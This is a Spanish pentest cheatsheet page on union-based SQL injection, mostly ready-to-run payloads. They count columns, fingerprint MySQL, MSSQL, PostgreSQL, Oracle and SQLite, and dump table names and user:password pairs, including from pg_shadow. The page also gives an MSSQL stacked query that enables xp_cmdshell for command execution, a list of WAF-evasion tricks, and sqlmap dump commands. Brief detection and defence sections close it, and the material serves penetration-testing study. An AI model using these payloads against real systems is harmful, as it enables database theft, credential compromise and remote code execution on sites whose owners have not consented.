the_open_door
café
ESEN
← Volver al índice

Union-based SQL Injection

ATT&CKT1190
Arsenal completo de comandos en la cheatsheet

La inyección SQL basada en UNION aprovecha una consulta vulnerable para añadir una segunda consulta cuyo resultado se muestra en la misma respuesta que la original. El operador UNION SELECT concatena las filas de dos SELECT, de modo que si la web pinta en pantalla el resultado de la primera (por ejemplo, los datos de un perfil con ?id=1), podemos hacer que también pinte lo que devuelva la nuestra: nombres de bases de datos, tablas, columnas y, al final, credenciales. La sintaxis exacta depende del motor (MySQL, MSSQL, PostgreSQL, Oracle, SQLite), así que el primer trabajo real es identificarlo y adaptar los payloads.

Contar columnas y encontrar la reflejada

Para que un UNION funcione, ambas consultas deben tener el mismo número de columnas y tipos compatibles. Se cuentan con ORDER BY incrementando el índice hasta el error, o probando UNION SELECT con NULLs. Luego se marca qué columna se refleja poniendo números en vez de NULL:

?id=6' ORDER BY 6-- -                         # OK
?id=6' ORDER BY 7-- -                         # error -> hay 6 columnas
?id=6' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL-- -   # confirma 6 columnas
?id=6' UNION SELECT 1,2,3,4,5,6-- -           # muestra en pantalla cual(es) se pintan (p.ej. 2 y 6)

El comentario final -- - (con espacio) anula el resto de la consulta original. En las columnas que no se reflejan se deja NULL; en la que sí, se coloca la función de enumeración.

Fingerprinting: qué motor es

Antes de enumerar conviene confirmar el motor, porque la concatenación y las tablas de metadatos cambian:

?id=6' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL-- -        # MySQL / MSSQL
?id=6' UNION SELECT NULL,version(),NULL,NULL,NULL,NULL-- -        # MySQL / PostgreSQL
?id=6' UNION SELECT NULL,banner,NULL,NULL,NULL,NULL FROM v$version-- -   # Oracle
?id=6' UNION SELECT NULL,sqlite_version(),NULL,NULL,NULL,NULL-- -        # SQLite

Otra pista rápida: la concatenación de cadenas difiere por motor ('a' 'b' MySQL con espacio, 'a'+'b' MSSQL, 'a'||'b' PostgreSQL/Oracle/SQLite).

Enumeración por motor

MySQL / MariaDB

# base en uso, tablas y columnas via information_schema
?id=6' UNION SELECT NULL,database(),NULL,NULL,NULL,NULL-- -
?id=6' UNION SELECT NULL,group_concat(table_name),NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -
?id=6' UNION SELECT NULL,group_concat(column_name),NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
?id=6' UNION SELECT NULL,group_concat(user,0x3a,pass SEPARATOR '\n'),NULL,NULL,NULL,NULL FROM users-- -

MSSQL (SQL Server)

No hay group_concat; se agrega con FOR XML PATH('') o STRING_AGG (2017+), y admite stacked queries con ;:

?id=6' UNION SELECT NULL,DB_NAME(),NULL,NULL,NULL,NULL-- -
?id=6' UNION SELECT NULL,name,NULL,NULL,NULL,NULL FROM master..sysdatabases-- -
?id=6' UNION SELECT NULL,(SELECT STRING_AGG(name,',') FROM sys.tables),NULL,NULL,NULL,NULL-- -
?id=6'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'-- -   # RCE si es sysadmin

PostgreSQL

Concatenación con ||, agregación con string_agg, casts ::text cuando el tipo no cuadra:

?id=6' UNION SELECT NULL,current_database(),NULL,NULL,NULL,NULL-- -
?id=6' UNION SELECT NULL,string_agg(table_name,','),NULL,NULL,NULL,NULL FROM information_schema.tables-- -
?id=6' UNION SELECT NULL,string_agg(usename||':'||passwd,','),NULL,NULL,NULL,NULL FROM pg_shadow-- -

Oracle

Todo SELECT necesita un FROM; se usa FROM dual para constantes y all_tables/all_tab_columns para metadatos:

?id=6' UNION SELECT NULL,table_name,NULL,NULL,NULL,NULL FROM all_tables-- -
?id=6' UNION SELECT NULL,column_name,NULL,NULL,NULL,NULL FROM all_tab_columns WHERE table_name='USERS'-- -
?id=6' UNION SELECT NULL,LISTAGG(username||':'||password,',') WITHIN GROUP (ORDER BY username),NULL,NULL,NULL,NULL FROM users-- -

SQLite

Sin information_schema: el esquema entero vive en sqlite_master, concatenación con ||:

?id=6' UNION SELECT NULL,group_concat(name),NULL,NULL,NULL,NULL FROM sqlite_master WHERE type='table'-- -
?id=6' UNION SELECT NULL,sql,NULL,NULL,NULL,NULL FROM sqlite_master WHERE name='users'-- -   # ve las columnas en el CREATE TABLE
?id=6' UNION SELECT NULL,group_concat(user||':'||pass),NULL,NULL,NULL,NULL FROM users-- -

Saltarse el WAF: arsenal de bypass

Cuando un filtro bloquea palabras clave o espacios, se combinan trucos hasta que uno pasa:

# comentarios como separador en vez de espacio
?id=6'/**/UNION/**/SELECT/**/1,2,3,4,5,6-- -
# mayus/minus mezcladas (filtros que solo buscan "UNION")
?id=6' UnIoN sElEcT 1,2,3,4,5,6-- -
# partir la palabra clave (filtro no recursivo que quita "UNION"/"SELECT" una vez)
?id=6' UNIunionON SELECTselect 1,2,3,4,5,6-- -
# comentario de version de MySQL (se ejecuta pese al /*! */)
?id=6' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4,5,6-- -
# separadores alternativos de espacio: %09 (tab) %0a (LF) %0c %0d %a0
?id=6'%0aUNION%0aSELECT%0a1,2,3,4,5,6-- -
# cadenas sin comillas: hex o CHAR() para saltar el filtro de '
?id=6' UNION SELECT 1,2,3,4,5,6 FROM users WHERE name=0x61646d696e-- -
?id=6' UNION SELECT 1,CHAR(97,100,109,105,110),3,4,5,6-- -
# sin espacios usando parentesis
?id=6'UNION(SELECT(1),(2),(3),(4),(5),(6))-- -

Automatización

sqlmap -u 'http://<ip>/index.php?id=1' --batch --dbs
sqlmap -u 'http://<ip>/index.php?id=1' -D <db> -T users --dump --technique=U --tamper=space2comment,between

Requisitos. La entrada debe llegar sin sanear a una consulta que refleje su resultado (si el dato no se pinta, hay que ir a blind SQLi) y el motor debe soportar UNION. Suele convivir con el bypass de login por SQLi cuando el mismo panel es vulnerable, y con escritura de ficheros con INTO OUTFILE cuando hay FILE privilege.

Cómo detectarlo. La UNION-SQLi es más ruidosa que la ciega porque la enumeración va en la propia URL: el log de acceso muestra UNION SELECT, ORDER BY N con N creciente, information_schema/sqlite_master/all_tables, group_concat/string_agg/FOR XML PATH y el comentario -- -, todo firmas que un WAF marca al instante. La fase de conteo de columnas deja un rastro característico: peticiones idénticas salvo el índice del ORDER BY, varias devolviendo 500. Los intentos de bypass (/**/, UnIoN, 0x..., CHAR(...), %0a entre palabras) son en sí mismos una señal. Del lado de la base de datos, el query log registra SELECT ... UNION SELECT ... FROM information_schema desde la cuenta de la aplicación, algo que una app sana nunca consulta.

Defensa. Consultas parametrizadas (prepared statements), nunca concatenar entrada del usuario en el SQL, usuario de base de datos con mínimos privilegios (sin FILE, sin xp_cmdshell) y no exponer mensajes de error. Los hashes extraídos aún hay que romperlos: enlaza con cracking de hashes.

Herramientassqlmap

Máquinas donde se aplica